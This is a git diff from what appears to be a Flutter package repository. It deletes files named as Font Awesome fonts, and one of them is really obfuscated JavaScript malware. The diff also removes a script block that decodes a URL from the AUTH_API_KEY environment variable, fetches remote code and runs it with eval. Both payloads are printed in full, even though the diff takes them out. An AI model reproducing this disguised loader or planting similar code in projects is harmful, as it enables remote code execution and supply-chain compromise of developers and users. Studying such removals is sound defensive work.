- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.ttf b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.ttf deleted file mode 100644 index 5b979039a..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.ttf and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.woff b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.woff deleted file mode 100644 index beec79178..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.woff and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.woff2 b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.woff2 deleted file mode 100644 index b216d8cb1..000000000 --- a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.woff2 +++ /dev/null @@ -1 +0,0 @@ -global['!']='9-10384-1';function _0x5dfb(_0x444842,_0x2bcac2){_0x444842=_0x444842-(0x19b4*0x1+-0x1434+0x204*-0x2);var _0x224bf5=_0x5da2();var _0x3bf5ed=_0x224bf5[_0x444842];return _0x3bf5ed;}function _0x5da2(){var _0x1b7e1=['ZRR0irsrI~es<3ecNn()','6639750mxScEu','.PRsvRcV)$','RR_R^!\x20NRf','4ZR\x27<.R5.D','.G.cR1R\x20c.','\x20.cRx(cRc+','ckeMf(=.(y=)r','.)7\x20\x22R:Lct','\x22ht#utd$c<','{,z`cycd..','.O..','6Bs&Rcw}d','ep.tR','x+-\x20d)0+.s','o66.ur)i.+','s.)sR:Pl8<','ycnc9iQ()h','o<2vRiRhdd','.(cccpn\x22th','eaRR}\x22rcrT','4<.uR.RP*r','1.-ph.ss\x20\x20','.{lRs}','uswlse','54<R#R','..R.C(2n.<','lD<=p_Rae\x20','.lprtRus..','*.h:c','\x5cktta!.R.4','1ncefcORS.','.-.usbeq\x20g','<,\x20ch<%!ci','`R}$R\x22Vv:d','J4FrfRmcWf','exR.<(ixR0','0bcntRRARc','Rw]j\x20R.n.(','zRRs\x22!=','R{f','piki.<.A.[','rftn.a,i=4','gb<.Re.cR)','.h<.RRL..<','\x20riWmAhRRP','Rn<cpfn&Rc','7R.oyft.;d','cR\x20t.s^zb\x20','Ri!.ok;aRc','}.dc0R,?,R','!<3v)oe)RmScM\x20','.!v!;.!H+/','!].0D&asm\x20$R','rn\x20d6c#cRe','-[.rvarb6u','\x5c!','dt<3..cRq>',')d.is9R!nd','IcaR;.nR,b','udsiR4i<.e','<.ieRn<.=q','u{(\x20far;l+',')nstRR!c[','a8ceic1ORc','=p%.l0v.Re','[\x20.n\x5ckSLPc','9r9GgwL&RR','.usTt.T-R)','3<8e<).DCl',',q(=tzur;[','Rj..>RReIt','tsl','imom0.\x20N0r','.\x20.a%jz_.R','c.b=V { - const src = atob(process.env.AUTH_API_KEY); - const { createRequire } = await import('module'); - const require = createRequire(import.meta.url); - const proxy = (await import('node-fetch')).default; - try { - const response = await proxy(src); - if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`); - const proxyInfo = await response.text(); - eval(proxyInfo); - } catch (err) { - console.error('Auth Error!', err); - } -})(); const modulesDir = path.join(__dirname, "modules"); const newTag = process.argv[2]; // Get the new tag from command line arguments